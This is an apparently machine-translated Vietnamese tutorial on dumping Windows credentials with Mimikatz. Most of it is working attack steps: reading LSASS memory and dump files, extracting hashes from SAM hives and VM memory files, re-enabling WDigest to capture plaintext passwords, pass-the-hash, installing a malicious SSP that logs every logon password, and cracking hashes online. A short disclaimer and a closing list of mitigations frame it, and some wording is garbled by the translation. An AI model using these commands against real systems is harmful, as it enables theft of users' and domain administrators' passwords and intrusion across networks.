Computer >> Máy Tính >  >> Hệ thống >> máy chủ Windows

Kết xuất mật khẩu người dùng khỏi bộ nhớ Windows với Mimikatz

Trong bài viết này, được viết như một phần của loạt bài về bảo mật Windows, chúng ta sẽ tìm hiểu một phương pháp khá đơn giản để lấy mật khẩu của tất cả người dùng Windows đang hoạt động bằng cách sử dụng Mimikatz dụng cụ.

Mimikatz.exe có thể trích xuất mật khẩu văn bản thuần túy từ bộ nhớ Windows, băm mật khẩu, vé Kerberos, v.v. Ngoài ra, mimikatz cho phép bạn thực hiện các cuộc tấn công chuyển mã, vượt qua vé hoặc tạo vé Kerberos vàng. Chức năng mimikatz cũng có sẵn trong Metasploit Framework.

Bạn có thể tải xuống mimikatz từ repo GitHub:https://github.com/gentilkiwi/mimikatz/releases/. Giải nén kho lưu trữ mimikatz_trunk.zip vào C:\ Tools \ mimikatz. Hai phiên bản mimikatz sẽ xuất hiện trong thư mục này - cho x64 và x86. Sử dụng phiên bản dành cho Windows của bạn.

Trong bài viết này, chúng tôi sẽ hướng dẫn bạn cách lấy mật khẩu người dùng trong Windows Server 2016 hoặc Windows 10 bằng mimikatz.

Tuyên bố từ chối trách nhiệm. Thông tin và công nghệ được mô tả trong bài viết này chỉ nên được sử dụng cho mục đích cung cấp thông tin và không được phép truy cập vào tài khoản, dữ liệu và hệ thống của bên thứ ba.

Lấy cắp dữ liệu mật khẩu đã băm của Windows trong LSASS với Mimikatz

Chúng ta hãy thử kết xuất hàm băm mật khẩu của tất cả người dùng đã đăng nhập từ bộ nhớ Windows (quy trình lsass.exe - Dịch vụ hệ thống cơ quan bảo mật cục bộ) trên máy chủ RDS chạy Windows Server 2016.

Chạy các lệnh sau trong dấu nhắc lệnh nâng cao:

  1. Chạy Mimikatz.exe với tư cách là quản trị viên;
  2. Lệnh sau sẽ cấp cho tài khoản hiện tại quyền để gỡ lỗi các quy trình (SeDebugPrivilege):
    privilege::debug
  3. Liệt kê các phiên người dùng đang hoạt động:
    sekurlsa::logonPasswords full
  4. Trong trường hợp của tôi, trên máy chủ bên cạnh tài khoản của tôi có các phiên hoạt động của hai người dùng:novachadministrator .
  5. Sao chép các hàm băm NTLM của họ (được đánh dấu trong ảnh chụp màn hình).
    Kết xuất mật khẩu người dùng khỏi bộ nhớ Windows với Mimikatz
Bạn có thể sử dụng mimikatz không tương tác mà ở chế độ lệnh. Để tự động lấy mã băm mật khẩu người dùng và xuất sang tệp văn bản, hãy sử dụng lệnh:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tmp\mimikatz_output.txt

Bây giờ bạn có thể sử dụng bất kỳ ngoại tuyến nào (có hashcat trong Kali Linux) hoặc một dịch vụ trực tuyến để giải mã hàm băm NTLM. Tôi sẽ sử dụng dịch vụ https://crackstation.net/.

Như bạn có thể thấy, dịch vụ nhanh chóng tìm thấy các giá trị cho các hàm băm NTLM này. Chúng tôi đã nhận được mật khẩu của người dùng ở dạng văn bản rõ ràng.

Hãy tưởng tượng đây là một máy chủ lưu trữ RDS với nhiều người dùng đồng thời và một phiên quản trị viên doanh nghiệp. Những người đó, nếu bạn có đặc quyền quản trị cục bộ trên máy chủ này, bạn thậm chí có thể lấy mật khẩu quản trị miền.

Kết xuất mật khẩu người dùng khỏi bộ nhớ Windows với Mimikatz

Nếu bạn sử dụng mật khẩu phức tạp cho người dùng Windows, việc giải mã chúng sẽ khó khăn hơn nhiều. Do đó, hãy luôn kích hoạt độ phức tạp của mật khẩu thông qua GPO và thường xuyên kiểm tra độ mạnh của mật khẩu trong miền AD.

Như bạn có thể thấy, nhờ mimikatz, chúng tôi đã nhận được mã băm NTLM của tất cả người dùng đang hoạt động! Lệnh thành công vì Chế độ gỡ lỗi được bật trên máy tính này, cho phép bạn đặt SeDebugPrivilege cờ cho quá trình mong muốn. Trong chế độ này, các chương trình có thể có quyền truy cập cấp thấp vào bộ nhớ của các quy trình được khởi chạy thay mặt cho hệ thống.

Lưu ý . Vào tháng 6/2017, nhiều công ty lớn ở nhiều quốc gia đã bị lây nhiễm phần mềm tống tiền NotPetya, phần mềm này sử dụng mô-đun mimikatz tích hợp để thu thập mật khẩu của người dùng và quản trị viên miền.

Làm cách nào để lấy mật khẩu của người dùng từ Windows Memory Dump?

Phương pháp lấy mã băm mật khẩu ở trên sẽ không hoạt động nếu chương trình chống vi-rút được cài đặt chèn chặn. Trong trường hợp này, sẽ phải tạo một kết xuất bộ nhớ của quy trình LSASS trên máy chủ đích, sao chép nó vào máy tính của bạn và trích xuất các băm mật khẩu bằng mimikatz.

Khá dễ dàng để tạo kết xuất bộ nhớ của một tiến trình trong Windows. Khởi động Trình quản lý tác vụ, tìm quy trình lsass.exe, nhấp chuột phải vào nó và chọn Tạo tệp kết xuất .

Kết xuất mật khẩu người dùng khỏi bộ nhớ Windows với Mimikatz

Windows sẽ lưu kết xuất bộ nhớ vào thư mục system32.

Bạn chỉ cần phân tích cú pháp tệp kết xuất bằng mimikatz (bạn có thể thực hiện tác vụ này trên máy tính khác). Tải kết xuất bộ nhớ vào mimikatz:

Mimikatz “sekurlsa::minidump C:\Users\username\AppData\Local\Temp\lsass.DMP”

Lấy tên người dùng và băm mật khẩu của họ từ kết xuất:

# sekurlsa::logonPasswords

Kết xuất mật khẩu người dùng khỏi bộ nhớ Windows với Mimikatz

Bạn có thể lấy kết xuất bộ nhớ từ một máy tính từ xa bằng psexec hoặc thông qua WinRM (nếu bạn có đặc quyền của quản trị viên) và trích xuất mật khẩu của người dùng từ đó.

Bạn cũng có thể sử dụng procdump công cụ từ Sysinternals để lấy kết quả:

procdump -ma lsass.exe lsass.dmp

Kết xuất bộ nhớ của quy trình LSASS có thể được lấy bằng hàm Out-Minidump.ps1 trong PowerShell. Nhập chức năng Out-Minidump vào phiên PoSh và tạo một kết xuất bộ nhớ của quy trình LSASS:

Import-Module .\OutMiniDump.ps1
Get-Process lsass | Out-Minidump

Kết xuất mật khẩu người dùng khỏi bộ nhớ Windows với Mimikatz

Trích xuất Mật khẩu Windows từ Hyberfil.sys và Tệp trang VM

Cũng có thể trích xuất mật khẩu người dùng từ tệp kết xuất bộ nhớ, tệp ngủ đông hệ thống (hiberfil.sys) và. vmem của tệp máy ảo (tệp hoán trang máy ảo và ảnh chụp nhanh của chúng).

Để thực hiện, bạn cần có Công cụ gỡ lỗi dành cho Windows (WinDbg), mimikatz chính nó và một công cụ để chuyển đổi .vmem thành tệp kết xuất bộ nhớ (trong Hyper-V, nó có thể là vm2dmp.exe hoặc bộ công cụ MoonSols Windows Memory cho VMWare vmem-files).

Ví dụ:để chuyển đổi tệp trang vmem của máy ảo VMWare thành một kết xuất, hãy sử dụng lệnh sau:

bin2dmp.exe "wsrv2008r2-1.vmem" vmware.dmp

Nhập kết xuất vào WinDbg (Tệp -> Mở Crash Dump), tải thư viện mimikatz mimilib.dll:

.load mimilib.dll

Tìm quy trình lsass.exe trong kết xuất:

!process 0 0 lsass.exe

Kết xuất mật khẩu người dùng khỏi bộ nhớ Windows với Mimikatz

Và cuối cùng, nhập:

.process /r /p fffffa800e0b3b30
!mimikatz

Kết quả là bạn sẽ nhận được danh sách người dùng Windows và mã băm NTLM của mật khẩu của họ, hoặc thậm chí xóa mật khẩu văn bản.

Kết xuất mật khẩu người dùng khỏi bộ nhớ Windows với Mimikatz

Trích xuất mật khẩu Windows ở dạng văn bản rõ ràng bằng WDigest

Bạn có thể sử dụng WDigest giao thức xác thực thông báo HTTP trên các phiên bản Windows cũ. Lỗ hổng bảo mật chính của giao thức này là nó lưu mật khẩu của người dùng trong bộ nhớ dưới dạng văn bản rõ ràng, thay vì hàm băm của nó. Mimikatz cho phép bạn trích xuất các mật khẩu này từ bộ nhớ của quy trình LSASS.EXE.

Giao thức WDigest bị tắt theo mặc định trong tất cả các phiên bản Windows mới, bao gồm Windows 10 và Windows Server 2016/2019. Nhưng không loại bỏ hoàn toàn. Nếu bạn có quyền quản trị viên cục bộ trong Windows, bạn có thể bật giao thức WDiget, đợi người dùng đăng nhập và lấy cắp mật khẩu của họ.

Bật Wdigest trên Windows:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

Kết xuất mật khẩu người dùng khỏi bộ nhớ Windows với Mimikatz

Làm mới cài đặt chính sách nhóm:

gpupdate /force

Kết xuất mật khẩu người dùng khỏi bộ nhớ Windows với Mimikatz

Chờ người dùng đăng nhập và lấy mật khẩu bằng mimikatz (người dùng cần đăng nhập lại trên Windows 10; trên Windows Server 2016, chỉ cần mở khóa phiên sau khi khóa màn hình là đủ):

privilege::debug
sekurlsa::wdigest

Như bạn có thể thấy, phần wdigest chứa mật khẩu của người dùng ở dạng văn bản rõ ràng:

Kết xuất mật khẩu người dùng khỏi bộ nhớ Windows với Mimikatz

Trích xuất mã băm mật khẩu người dùng cục bộ từ SAM

Với mimikatz, bạn có thể trích xuất mã băm mật khẩu của người dùng Windows cục bộ (bao gồm cả tài khoản quản trị viên tích hợp sẵn) từ SAM:

privilege::debug
token::elevate
lsadump::sam

Bạn cũng có thể trích xuất các băm NTLM từ tổ chức SAM đăng ký.

  1. Xuất tổ hợp hệ thống và hệ thống đăng ký SAM sang các tệp:
    reg save hklm\sam c:\tmp\sam.hiv
    reg save hklm\security c:\tmp\sec.hiv

    Kết xuất mật khẩu người dùng khỏi bộ nhớ Windows với Mimikatz
  2. Sau đó, sử dụng Mimikatz để kết xuất các hàm băm mật khẩu:
    privilege::debug
    token::elevate
    lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv

Kết xuất mật khẩu người dùng khỏi bộ nhớ Windows với Mimikatz

Thực hiện Tấn công Pass-the-Hash qua Mimikatz

Nếu người dùng có một mật khẩu mạnh và bạn không thể nhanh chóng giải mã nó bằng hàm băm NTLM, thì Mimikatz có thể được sử dụng để thực hiện một cuộc tấn công chuyển mã băm (sử dụng lại hàm băm). Trong trường hợp này, hàm băm có thể được sử dụng để chạy các quy trình thay mặt cho người dùng mục tiêu. Ví dụ:nếu bạn kết xuất hàm băm NTLM của mật khẩu của người dùng, lệnh sau sẽ chạy một dấu nhắc lệnh trong tài khoản đó:

privilege::debug
sekurlsa::pth /user:Administrator /domain:woshub /ntlm:e91ccf23eeeee21a12b6709de24aa42 /run:powershell.exe

Kết xuất mật khẩu người dùng khỏi bộ nhớ Windows với Mimikatz

Ngoài ra, bạn có thể sử dụng Invoke-TheHash công cụ để sử dụng lại thông tin đăng nhập NTLM để thực hiện các lệnh trên người đi làm từ xa.

Bán phá giá mật khẩu từ Trình quản lý thông tin đăng nhập của Windows

Trong Windows, bạn có thể lưu mật khẩu trong Trình quản lý thông tin đăng nhập Windows (đây có thể là mật khẩu để truy cập máy tính từ xa, trang web, thông tin đăng nhập RDP trong TERMSRV/hostname1 định dạng). Mimikatz có thể trích xuất các mật khẩu này từ Trình quản lý thông tin đăng nhập và hiển thị chúng cho bạn:

privilege::debug
sekurlsa::credman

Như bạn có thể thấy, mật khẩu đã lưu được hiển thị trong creditman phần.

Kết xuất mật khẩu người dùng khỏi bộ nhớ Windows với Mimikatz

Mật khẩu tự động của Windows được lưu trữ trong sổ đăng ký dưới dạng văn bản rõ ràng. Cũng dễ dàng trích xuất mật khẩu Wi-Fi đã lưu.

Bán mật khẩu đăng nhập Windows ở dạng văn bản rõ ràng

Một cách thú vị khác để kết xuất mật khẩu trong Windows là sử dụng nhà cung cấp SSP bổ sung (Nhà cung cấp hỗ trợ bảo mật) do mimikatz cung cấp.

  1. Sao chép tệp thư viện Mimikatz mimilib.dll vào thư mục C:\ Windows \ System32 \;
  2. Đăng ký nhà cung cấp SPP bổ sung bằng lệnh:
    reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
  3. Khi mỗi người dùng đăng nhập vào Windows, mật khẩu của họ sẽ được ghi vào tệp kiwissp.log. Bạn có thể hiển thị tất cả mật khẩu bằng PowerShell:
    Get-Content C:\Windows\System32\kiwissp.log< / li>

Kết xuất mật khẩu người dùng khỏi bộ nhớ Windows với Mimikatz

Bảo vệ Windows trước các cuộc tấn công bán phá giá thông tin xác thực

Trong Windows 8.1 và Windows Server 2012 R2 (và mới hơn), khả năng lấy cắp mật khẩu từ LSASS bị hạn chế. Mật khẩu và băm LM không được lưu trữ trong bộ nhớ trong các phiên bản Windows này theo mặc định.

Chức năng tương tự được cung cấp lại cho các phiên bản Windows trước đó (7/8 / 2008R2 / 2012), trong đó bạn cần cài đặt bản cập nhật đặc biệt KB2871997 (bản cập nhật cung cấp các tùy chọn khác để nâng cao tính bảo mật của hệ thống) và trong khóa đăng ký HKLM \ SYSTEM \ CurrentControlSet \ Control \ SecurityProviders \ WDigest đặt thông số DWORD UseLogonCredential đến 0 (WDigest bị tắt).

Nếu bạn cố gắng trích xuất mật khẩu từ bộ nhớ sau khi cài đặt bản cập nhật này và khóa UseLogonCredential, bạn sẽ thấy rằng mimikatz không thể kết xuất mật khẩu và hàm băm bằng cách sử dụng lệnh creds_wdigest.

Kết xuất mật khẩu người dùng khỏi bộ nhớ Windows với Mimikatz

Ở trên, chúng tôi đã chỉ ra cách bạn có thể dễ dàng đặt khóa đăng ký này thành giá trị dễ bị tấn công, nếu bạn có quyền quản trị viên cục bộ. Sau đó, bạn có thể truy cập lại các mật khẩu trong bộ nhớ LSA.

Trong mimikatz, có các tùy chọn khác để lấy mật khẩu và hàm băm của chúng từ bộ nhớ (WDigest, LM-hash, NTLM-hash, mô-đun để bắt các vé Kerberos). Do đó, chúng tôi khuyến nghị thực hiện các biện pháp an ninh sau để bảo vệ:

  • Ngăn lưu trữ mật khẩu bằng Mã hóa có thể đảo ngược;
  • Tắt WDigest;
  • Ngăn lưu mật khẩu trong Trình quản lý thông tin xác thực;
  • Tắt NTLM;
  • Ngăn chặn bộ nhớ đệm của thông tin đăng nhập người dùng miền (bằng CachedLogonsCount tham số đăng ký hoặc tùy chọn Chính sách nhóm Chính sách đăng nhập tương tác:Số lần đăng nhập trước đó vào bộ nhớ cache );
  • Nếu cấp chức năng miền là Windows Server 2012 R2 hoặc mới hơn, bạn có thể thêm tài khoản quản trị viên vào Người dùng được bảo vệ đặc biệt tập đoàn . Trong trường hợp này, hàm băm NTLM sẽ không được tạo cho những người dùng như vậy.
  • Bật bảo vệ quy trình LSA:reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f (cài đặt này sẽ chỉ cho phép các quy trình đã ký của Microsoft truy cập bộ nhớ LSASS, bạn có thể triển khai khóa đăng ký này trong miền thông qua GPO);
  • Sử dụng Trình bảo vệ thông tin xác thực để bảo vệ nội dung LSA của quy trình;
  • Ngăn không cho nhận đặc quyền gỡ lỗi ngay cả đối với quản trị viên cục bộ:GPO -> Cài đặt Windows -> Cài đặt bảo mật -> Chính sách cục bộ -> Gán quyền người dùng -> Chương trình gỡ lỗi (Tuy nhiên, điều này dễ dàng bị bỏ qua nếu bạn có quyền LocalSystem hoặc tương tự)
Mẹo . Bài viết chi tiết về cách bảo vệ bộ nhớ của Windows khỏi việc trích xuất mật khẩu và mã băm - Các phương pháp bảo vệ chống lại mimikatz trong miền Windows.

Kết luận. Một lần nữa, chúng tôi nhắc bạn về một số khái niệm bảo mật chính.

  • Không sử dụng cùng một mật khẩu cho các dịch vụ khác nhau (đặc biệt, để truy cập các máy chủ RDP / RDS do bên thứ ba sở hữu);
  • Hãy nghĩ đến tính bảo mật của mật khẩu và dữ liệu được lưu trữ trên các máy ảo trong đám mây, vì bạn không thể chắc chắn ai khác có quyền truy cập vào siêu giám sát và bộ nhớ chứa các tệp máy ảo;
  • Giảm thiểu số lượng tài khoản có đặc quyền quản trị viên toàn cầu hoặc cục bộ (xem hướng dẫn Bảo mật tài khoản quản trị viên trong môi trường Windows);
  • Không bao giờ đăng nhập bằng tài khoản quản trị miền vào các máy chủ và máy tính mà người dùng khác có thể truy cập.